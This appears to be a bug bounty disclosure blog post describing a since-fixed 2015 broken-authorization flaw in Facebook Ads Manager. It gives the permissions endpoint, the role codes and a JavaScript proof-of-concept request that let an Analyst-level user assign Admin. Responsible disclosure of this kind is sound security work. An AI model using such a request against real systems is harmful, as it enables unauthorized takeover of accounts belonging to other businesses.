I discovered an authorization vulnerability in Facebook Ads Manager that allowed a user with limited access to an ad account to escalate privileges and gain administrator access.
The issue affected ad accounts shared through Facebook Business Manager. An agency or business account with a lower-privileged role, such as Analyst or Advertiser, could directly call the user-permission endpoint and assign the Admin role.
| Issue | Privilege escalation / broken authorization |
|---|---|
| Impact | Escalate from limited ad-account access to administrator privileges |
| Bounty | $8,000 |
Background
Facebook ad accounts supported several permission levels, including:
- Admin
- Advertiser
- Analyst
Facebook Business Manager allowed businesses to grant agencies access to their ad accounts while restricting what those agencies were allowed to do.
For example, an organization could give another business account only Analyst access to an ad account. That account should remain limited to the capabilities assigned by the owner.
The Vulnerability
The backend endpoint used to add users to an ad account did not properly enforce the permission level of the user making the request.
A user with Analyst access could send a request directly to:
POST /ads/manage/settings/permissions/?action=add_user
The important request parameters were:
act=[AD_ACCOUNT_ID]
user_id=[USER_ID]
add_user_permission=[PERMISSION]
The available permission values included:
1001 = Admin
1002 = Advertiser
1003 = Analyst
By setting add_user_permission to 1001, a lower-privileged user could add a user as an administrator of the ad account.
Privilege Escalation Scenario
Consider a business that grants another business account only Analyst access to its ad account.
That agency should only have the permissions explicitly assigned by the owner. However, because the backend did not sufficiently verify whether the requester was authorized to assign higher roles, the agency could submit the permission-management request itself and create an Admin user.
This effectively allowed the agency to bypass the owner's assigned role restrictions and take administrative control of the ad account.
Proof of Concept
A simplified version of the request could be generated with JavaScript:
var xhr = new XMLHttpRequest();
xhr.open(
"POST",
"/ads/manage/settings/permissions/?action=add_user",
true
);
var body =
"act=__ACCID__" +
"&user_id=__USERID__" +
"&add_user_permission=__PERM__" +
"&__a=1";
body +=
"&fb_dtsg=" +
document.getElementsByName("fb_dtsg")[0].value;
xhr.send(body);
Where:
__ACCID__ = Target ad account ID
__USERID__ = User to add
__PERM__ = Permission level (1001, 1002, or 1003)
Using 1001 as the permission value created an administrator.
Some sections of the original PoC were intentionally removed because they contained user IDs or email addresses.
Resolution
Facebook's security team acknowledged the vulnerability and deployed a fix that prevented lower-privileged users from assigning unauthorized roles.
Disclosure Timeline
| March 14, 2015 — 01:27 | Initial vulnerability reported. |
|---|---|
| March 17, 2015 — 03:35 | Issue acknowledged by Facebook's security team. |
| March 17, 2015 — 08:00 | Facebook confirmed the vulnerability had been fixed. |
| March 20, 2015 — 22:08 | $8,000 bounty awarded. |
great find
ReplyDelete